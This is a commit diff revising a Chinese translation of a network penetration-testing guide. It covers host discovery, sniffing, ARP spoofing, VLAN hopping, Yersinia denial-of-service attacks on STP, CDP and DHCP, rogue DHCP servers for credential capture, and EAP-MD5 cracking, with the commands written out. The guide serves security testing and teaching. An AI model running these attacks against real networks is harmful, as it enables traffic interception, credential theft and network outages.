Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-30 04:46:08 +00:00
parent dbc1db2e26
commit 4c7e871445
4 changed files with 285 additions and 85 deletions

View File

@ -21,6 +21,7 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)

View File

@ -6,13 +6,13 @@
## 从外部发现主机
将是一个关于如何从**互联网**找到**响应的IP**的**简要部分**。\
在这种情况下,您有一些**IP范围**(甚至可能有几个**范围**),您只需找到**哪些IP在响应**。
一部分将简要介绍如何从**互联网**中找到**响应的IP**。\
在这种情况下,您有一些**IP范围**(甚至可能有多个**范围**),您只需找出**哪些IP在响应**。
### ICMP
这是发现主机是否在线的**最简单**和**最快**的方法。\
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并待响应。您可以使用简单的`ping`或使用`fping`来处理**范围**。\
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并待响应。您可以使用简单的`ping`或使用`fping`来处理**范围**。\
您还可以使用**nmap**发送其他类型的ICMP数据包这将避免对常见ICMP回显请求-响应的过滤)。
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
@ -21,13 +21,13 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCP端口发现
很常见的情况是所有类型的ICMP数据包都被过滤。因此可以检查主机是否在线的唯一方法是**尝试查找开放端口**。每个主机有**65535个端口**,所以,如果您有一个“大的”范围,您**无法**测试每个主机的**每个端口**是否开放,这将花费太多时间。\
很常见的情况是所有类型的ICMP数据包都被过滤。因此能做的就是**尝试查找开放端口**来检查主机是否在线。每个主机有**65535个端口**,所以如果您有一个“大的”范围,您**无法**测试每个主机的**每个端口**是否开放,这将花费太多时间。\
因此,您需要的是一个**快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个**使用最频繁的端口**列表:
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
您也可以使用 `nmap` 执行此步骤,但速度较慢,并且 `nmap` 在识别主机时存在一些问题。
您也可以使用 `nmap` 执行此步骤,但较慢,并且 `nmap` 在识别主机时存在一些问题。
### HTTP 端口发现
@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP端口发现
您还可以尝试检查一些**UDP端口是否开放**,以决定是否应该**更关注**一个**主机**。由于UDP服务通常**不响应**常规空UDP探测数据包因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的包由于您不知道正在运行哪个服务,您应该根据端口号尝试最可能的服务:
您还可以尝试检查一些**UDP端口是否开放**,以决定是否应该**更关注**一个**主机**。由于UDP服务通常**不响应**常规空UDP探测数据包因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的数据包,由于您不知道正在运行哪个服务,您应该根据端口号尝试最可能的服务:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**,但即使仅此也需要 **>20分钟**。如果需要 **最快的结果**,可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) `./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**(对于 /24 范围,这只需 1 分钟_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**,但即使仅此也需要 **>20分钟**。如果需要 **最快的结果**,可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)`./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**(对于 /24 范围,这只需 1 分钟_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP 端口发现
```bash
@ -52,7 +52,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
```
## Pentesting Wifi
在这里,您可以找到一份关于撰写时所有知名Wifi攻击的良好指南
在这里,您可以找到一份关于所有著名Wifi攻击的良好指南
{{#ref}}
../pentesting-wifi/
@ -64,7 +64,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
### Passive
您可以使用这些工具在连接的网络内部被动发现主机:
您可以使用这些工具在连接的网络被动发现主机:
```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
@ -75,7 +75,7 @@ set net.show.meta true #more info
```
### Active
注意,在 [_**从外部发现主机**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里**应用**。\
注意,在 [_**从外部发现主机**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里**应用**。\
但是,由于您与其他主机在**同一网络**中,您可以做**更多事情**
```bash
#ARP discovery
@ -101,13 +101,13 @@ alive6 <IFACE> # Send a pingv6 to multicast.
注意,在 _从外部发现主机_ 中提到的技术 ([_**ICMP**_](#icmp)) 也可以 **在这里应用**。\
但是,由于您与其他主机在 **同一网络** 中,您可以做 **更多事情**
- 如果您 **ping** 一个 **子网广播地址**ping 应该到达 **每个主机**,它们可能会 **回应** **您**`ping -b 10.10.5.255`
- ping **网络广播地址**,您甚至可以找到 **其他子网** 内的主机:`ping -b 255.255.255.255`
- 使用 `nmap``-PE``-PP``-PM` 标志进行主机发现,分别发送 **ICMPv4 echo**、**时间戳** **子网掩码请求**`nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
- 如果您 **ping** 一个 **子网广播地址**ping 应该到达 **每个主机**,它们可能会 **回应** **您** `ping -b 10.10.5.255`
- ping **网络广播地址**,您甚至可以找到 **其他子网** 内的主机: `ping -b 255.255.255.255`
- 使用 `nmap``-PE``-PP``-PM` 标志进行主机发现,分别发送 **ICMPv4 echo**、**时间戳**和 **子网掩码请求** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan**
Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔法数据包仅仅是一个提供了 **MAC Dst** 的数据包,然后在同一个数据包中 **重复 16 次**。\
Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔法数据包是一个提供了 **MAC Dst** 的数据包,然后在同一个数据包中 **重复 16 次**。\
这种类型的数据包通常通过 **以太网 0x0842****UDP 数据包发送到 9 端口**。\
如果 **未提供 \[MAC]**,数据包将发送到 **广播以太网**(广播 MAC 将是被重复的那个)。
```bash
@ -140,7 +140,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
有两种选项可以扫描UDP端口
- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_如果端口是**关闭**的在多种情况下ICMP会被**过滤**,因此您将无法收到端口是关闭还是打开的任何信息)。
- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_如果端口是**关闭**的在多种情况下ICMP会被**过滤**,因此如果端口关闭或打开,您将不会收到任何信息)。
- 发送**格式化的数据报**以引发**服务**的响应例如DNS、DHCP、TFTP等如_nmap-payloads_中列出。如果您收到**响应**,那么端口是**打开**的。
**Nmap**将使用“-sV”**混合这两种**选项UDP扫描非常慢但请注意UDP扫描比TCP扫描慢
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
```
### SCTP 扫描
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)****UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多 **信令系统 7 (SS7)** 中的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组件,旨在通过 IP 网络传输 SS7 信号。
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)****UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多 **信令系统 7 (SS7)**发现的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组件,旨在通过 IP 网络传输 SS7 信号。
各种操作系统提供对 **SCTP** 的支持,如 **IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS** 和 **VxWorks**,这表明它在电信和网络领域的广泛接受和实用性。
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
通过嗅探,您可以通过查看捕获的帧和数据包来了解 IP 范围、子网大小、MAC 地址和主机名的详细信息。如果网络配置错误或交换 fabric 处于压力,攻击者可以通过被动网络嗅探捕获敏感材料。
通过嗅探,您可以通过查看捕获的帧和数据包来了解 IP 范围、子网大小、MAC 地址和主机名的详细信息。如果网络配置错误或交换 fabric 处于压力状态,攻击者可以通过被动网络嗅探捕获敏感材料。
如果交换以太网网络配置正确,您将只看到广播帧和发往您 MAC 地址的材料。
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获来自远程机器的数据包。
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的包。
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -228,7 +228,7 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
### ARP 欺骗
ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 地址具有我们设备的 MAC 地址。然后,受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时与我们的机器联系
ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 拥有我们设备的 MAC。然后受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时联系我们的机器
#### **Bettercap**
```bash
@ -256,11 +256,11 @@ macof -i <interface>
#### 动态干道
**动态干道协议 (DTP)** 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式 (Trunk) 或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。
**动态干道协议 (DTP)** 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式Trunk或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。
默认情况下,交换机端口设置为动态自动模式,这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时,会引发安全问题,迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN并通过设置虚拟接口来绕过 VLAN 分段。
许多交换机默认存在 DTP敌手可以利用这一点模仿交换机的行为从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的漏洞状态。
许多交换机默认存在 DTP敌手可以利用这一点模仿交换机的行为从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的脆弱性状态。
如果发现网络漏洞,可以使用 _**Yersinia**_ 工具通过 DTP 协议“启用干道”,从而观察所有 VLAN 的数据包。
```bash
@ -275,11 +275,11 @@ yersinia -G #For graphic mode
```
![](<../../images/image (269).png>)
要枚举VLAN也可以使用脚本[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。**
要枚举VLAN也可以使用脚本 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。**
```
sudo python3 DTPHijacking.py --interface eth0
```
我想指出,**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。**802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。
我想指出的是**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。**802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。
通过分析 STP 帧,**我们了解到 VLAN 30 和 VLAN 60 的存在。**
@ -323,11 +323,11 @@ sudo dhclient -v eth0.30
```
#### Automatic VLAN Hopper
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 中的主机** 是通过工具 **[https://github.com/nccgroup/vlan-hopping---frogger](https://github.com/nccgroup/vlan-hopping---frogger)** **自动执行** 的。
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 中的主机** 是通过工具 **自动执行** 的: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Double Tagging
如果攻击者知道 **受害主机的 MAC、IP 和 VLAN ID 的值**,他可以尝试 **双重标记一个帧**,使用其指定的 VLAN 和受害者的 VLAN 并发送数据包。由于 **受害者无法与攻击者连接**,因此 **攻击者的最佳选择是通过 UDP 进行通信**,与可以执行一些有趣操作的协议(如 SNMP
如果攻击者知道 **受害主机的 MAC、IP 和 VLAN ID 的值**,他可以尝试 **双重标记一个帧**,使用其指定的 VLAN 和受害者的 VLAN 并发送一个数据包。由于 **受害者无法与攻击者连接**,因此 **攻击者的最佳选择是通过 UDP 进行通信**,与可以执行一些有趣操作的协议(如 SNMP
攻击者的另一个选择是发起 **TCP 端口扫描,伪装成一个由攻击者控制并且受害者可以访问的 IP**(可能通过互联网)。然后,攻击者可以在他拥有的第二个主机上嗅探,如果它接收到来自受害者的一些数据包。
@ -342,7 +342,7 @@ sendp(packet)
```
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
如果您**可以访问直接连接的交换机**,您就有能力**绕过 VLAN 分段**。只需**将端口切换到干道模式**(也称为 trunk创建具有目标 VLAN ID 的虚拟接口,并配置 IP 地址。您可以尝试动态请求地址DHCP或者可以静态配置。具体取决于情况。
如果您**可以访问直接连接的交换机**,您就有能力**绕过网络中的VLAN分段**。只需**将端口切换到干线模式**也称为trunk创建具有目标VLAN ID的虚拟接口并配置IP地址。您可以尝试动态请求地址DHCP或者可以静态配置。具体取决于情况。
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -350,34 +350,34 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
在某些环境中,例如访客无线网络,**端口隔离(也称为私有 VLAN**设置被实施,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或配置不当,使得 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。
在某些环境中,例如访客无线网络,实施了**端口隔离也称为私有VLAN**设置,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用了网络ACL的缺乏或其不当配置使得IP数据包能够通过路由器路由到同一网络上的另一个客户端。
攻击是通过创建一个**携带目标客户端 IP 地址但带有路由器 MAC 地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
攻击是通过创建一个**携带目标客户端IP地址但使用路由器MAC地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
**攻击的关键步骤:**
1. **构造数据包:** 特别构造一个数据包,以包含目标客户端的 IP 地址,但带有路由器的 MAC 地址。
2. **利用路由器行为:** 将构造的数据包发送到路由器,由于配置原因,路由器将数据包重定向到目标客户端,绕过私有 VLAN 设置提供的隔离。
1. **构造数据包:** 特别构造一个数据包,以包含目标客户端的IP地址但使用路由器的MAC地址。
2. **利用路由器行为:** 将构造的数据包发送到路由器由于配置原因路由器将数据包重定向到目标客户端绕过私有VLAN设置提供的隔离。
### VTP Attacks
VTPVLAN Trunking Protocol集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性;任何修改都会增加此数字。交换机采用具有更高修订号的配置,更新自己的 VLAN 数据库。
VTPVLAN Trunking Protocol集中管理VLAN。它利用修订号来维护VLAN数据库的完整性任何修改都会增加此数字。交换机采用具有更高修订号的配置更新自己的VLAN数据库。
#### VTP Domain Roles
- **VTP Server:** 管理 VLAN——创建、删除、修改。它向域成员广播 VTP 通告。
- **VTP Client:** 接收 VTP 通告以同步其 VLAN 数据库。此角色限制本地 VLAN 配置修改。
- **VTP Transparent:** 不参与 VTP 更新,但转发 VTP 通告。不受 VTP 攻击影响,保持修订号为零。
- **VTP Server:** 管理VLAN——创建、删除、修改。它向域成员广播VTP公告。
- **VTP Client:** 接收VTP公告以同步其VLAN数据库。此角色限制本地VLAN配置修改。
- **VTP Transparent:** 不参与VTP更新但转发VTP公告。不受VTP攻击影响,保持修订号为零。
#### VTP Advertisement Types
- **Summary Advertisement:** 300 秒由 VTP 服务器广播,携带重要的域信息。
- **Subset Advertisement:** VLAN 配置更改后发送。
- **Advertisement Request:** VTP 客户端发出,请求 Summary Advertisement通常是响应检测到更高的配置修订号。
- **Summary Advertisement:** 每300秒由VTP服务器广播携带重要的域信息。
- **Subset Advertisement:** 在VLAN配置更改后发送。
- **Advertisement Request:** 由VTP客户端发出请求Summary Advertisement通常是响应检测到更高的配置修订号。
VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些端口传播。在 DTP 攻击场景之后,可能会转向 VTP。像 Yersinia 这样的工具可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效地干扰网络。
VTP漏洞仅通过干线端口可被利用因为VTP公告仅通过它们传播。DTP攻击后的场景可能会转向VTP。像Yersinia这样的工具可以促进VTP攻击旨在清除VLAN数据库有效地破坏网络。
注意:本讨论涉及 VTP 版本 1VTPv1
注意本讨论涉及VTP版本1VTPv1
````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````
@ -389,7 +389,7 @@ VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些
#### **STP BPDU DoS**
发送大量BPDUs TCP拓扑变化通知或Conf在创建拓扑时发送的BPDUs交换机会过载并停止正常工作。
发送大量BPDUs TCP拓扑变化通知或Conf在创建拓扑时发送的BPDUs交换机会过载并停止正常工作。
```bash
yersinia stp -attack 2
yersinia stp -attack 3
@ -417,7 +417,7 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
```
### CDP 攻击
CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要,允许它们 **相互识别并共享配置细节**
CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要,使它们能够 **相互识别并共享配置细节**
#### 被动数据收集 <a href="#id-0e0f" id="id-0e0f"></a>
@ -425,20 +425,20 @@ CDP 被配置为通过所有端口广播信息,这可能导致安全风险。
#### 诱导 CDP 表泛洪 <a href="#id-0d6a" id="id-0d6a"></a>
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,淹没交换机的内存。以下是使用 Yersinia 这一网络工具发起此类攻击的命令序列:
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,淹没交换机的内存。以下是使用 Yersinia(一种用于测试的网络工具)发起此类攻击的命令序列:
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
在此攻击中,交换机的 CPU 和 CDP 邻居表负担沉重,导致通常所称的 **“网络瘫痪”**,这是由于过度的资源消耗
在此攻击中,交换机的CPU和CDP邻居表负担沉重导致通常被称为**“网络瘫痪”**的情况,因为资源消耗过多
#### CDP 冒充攻击
#### CDP冒充攻击
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
您还可以使用 [**scapy**](https://github.com/secdev/scapy/)。确保使用 `scapy/contrib` 包进行安装
您还可以使用 [**scapy**](https://github.com/secdev/scapy/)。确保通过 `scapy/contrib` 包安装它
### VoIP 攻击和 VoIP Hopper 工具
@ -454,8 +454,8 @@ VoIP 电话与 IoT 设备的集成日益增加,提供了通过特殊电话号
速度优先的模式是第三种。它需要指定:
- 攻击者的网络接口 (`-i` 参数)
- 被模拟的 VoIP 设备名称 (`-E` 参数),遵循 Cisco 命名格式例如SEP 后跟 MAC 地址)。
- 攻击者的网络接口`-i` 参数)
- 被模拟的 VoIP 设备的名称(`-E` 参数),遵循 Cisco 命名格式例如SEP 后跟 MAC 地址)。
在企业环境中,为了模仿现有的 VoIP 设备,可以:
@ -463,7 +463,7 @@ VoIP 电话与 IoT 设备的集成日益增加,提供了通过特殊电话号
- 浏览电话的显示设置以查看型号信息。
- 将 VoIP 设备连接到笔记本电脑,并使用 Wireshark 观察 CDP 请求。
执行工具的第三种模式的示例命令为:
在第三种模式下执行工具的示例命令为:
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
@ -489,21 +489,21 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**对DHCP服务器可以执行两种类型的DoS**。第一种是**模拟足够的虚假主机以使用所有可能的IP地址**。\
此攻击仅在您能够看到DHCP服务器的响应并完成协议时有效**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例如,这在**Wifi网络中是不可行的**
**两种类型的 DoS** 可以针 DHCP 服务器执行。第一种是 **模拟足够的虚假主机以使用所有可能的 IP 地址**。\
此攻击仅在您能够看到 DHCP 服务器的响应并完成协议时有效 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例如,这在 **Wifi 网络中是不可行的**
另一种执行DHCP DoS的方法是发送**DHCP-RELEASE数据包源地址为每个可能的IP**。然后,服务器会认为每个人都已完成对该IP的使用
执行 DHCP DoS 另一种方法是发送 **DHCP-RELEASE 数据包,源地址为每个可能的 IP**。然后,服务器会认为每个人都已完成使用该 IP
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
一种更自动化的方法是使用工具 [DHCPing](https://github.com/kamorin/DHCPig)
您可以使用提到的 DoS 攻击强制客户端在环境中获取新租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。
您可以使用提到的 DoS 攻击迫使客户端在环境中获取新的租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。
#### 设置恶意值
可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获来自客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
以下是配置流氓 DHCP 服务器的命令选项:
@ -514,7 +514,7 @@ yersinia dhcp -attack 3 #More parameters are needed
- **次级 DNS 服务器 IP**:可选地,使用 `-s 10.0.0.1` 设置次级 DNS 服务器 IP。
- **本地网络的子网掩码**:使用 `-n 255.255.255.0` 定义本地网络的子网掩码。
- **DHCP 流量的接口**:使用 `-I eth1` 在特定网络接口上监听 DHCP 流量。
- **WPAD 配置地址**:使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址,以协助网络流量拦截
- **WPAD 配置地址**:使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址,以协助拦截网络流量。
- **欺骗默认网关 IP**:包括 `-S` 来欺骗默认网关 IP 地址。
- **响应所有 DHCP 请求**:包括 `-R` 使服务器响应所有 DHCP 请求,但要注意这会产生噪音并可能被检测到。
@ -533,13 +533,13 @@ yersinia dhcp -attack 3 #More parameters are needed
- 强制EAP-MD5身份验证以绕过TLS证书验证
- 在使用集线器或类似设备进行身份验证时注入恶意网络流量
如果攻击者位于受害者与身份验证服务器之间,他可以尝试降级(如有必要)身份验证协议至EAP-MD5并捕获身份验证尝试。然后他可以使用以下方法进行暴力破解
如果攻击者位于受害者与身份验证服务器之间,他可以尝试将身份验证协议降级(如有必要)到EAP-MD5并捕获身份验证尝试。然后他可以使用以下方法进行暴力破解
```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) 攻击 <a href="#id-6196" id="id-6196"></a>
**FHRP**(第一跳冗余协议)是一类旨在**创建热冗余路由系统**的网络协议。通过 FHRP物理路由器可以组合成一个单一的逻辑设备从而提高容错能力并帮助分配负载。
**FHRP** (第一跳冗余协议) 是一类网络协议,旨在 **创建一个热冗余路由系统**。通过 FHRP物理路由器可以组合成一个单一的逻辑设备从而提高容错能力并帮助分配负载。
**思科系统工程师开发了两种 FHRP 协议GLBP 和 HSRP。**
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
### RIP
已知存在三种版本的路由信息协议RIPRIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报,而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面RIPng 不包含原生身份验证;相反,它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
已知存在三种版本的路由信息协议 (RIP)RIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报,而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面RIPng 不包含原生身份验证;相反,它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
- **RIP 和 RIPv2** 通过 UDP 数据报在 520 端口进行通信。
- **RIPng** 利用 UDP 521 端口通过 IPv6 多播广播数据报。
@ -558,30 +558,30 @@ glbp-and-hsrp-attacks.md
### EIGRP 攻击
**EIGRP(增强型内部网关路由协议)**是一种动态路由协议。**它是一种距离矢量协议。** 如果没有**身份验证**和被动接口的配置,**入侵者**可以干扰 EIGRP 路由并导致**路由表中毒**。此外EIGRP 网络(换句话说,自治系统)**是扁平的,没有划分为任何区域**。如果**攻击者注入一条路由**,这条路由很可能会**传播**到整个自治 EIGRP 系统。
**EIGRP (增强型内部网关路由协议)** 是一种动态路由协议。**它是一种距离矢量协议。** 如果没有 **身份验证** 和被动接口的配置,**入侵者** 可以干扰 EIGRP 路由并导致 **路由表中毒**。此外EIGRP 网络(换句话说,自治系统) **是扁平的,没有划分为任何区域**。如果 **攻击者注入一条路由**,这条路由很可能会 **传播** 到整个自治 EIGRP 系统。
攻击 EIGRP 系统需要**与合法的 EIGRP 路由器建立邻居关系**,这打开了许多可能性,从基本侦察到各种注入。
攻击 EIGRP 系统需要 **与合法的 EIGRP 路由器建立邻接关系**,这打开了许多可能性,从基本侦察到各种注入。
[**FRRouting**](https://frrouting.org/) 允许您实现**支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
[**FRRouting**](https://frrouting.org/) 允许您实现 **支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
{{#ref}}
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP(增强型内部网关路由协议)广播的能力。它还允许注入数据包,可用于更改路由配置。
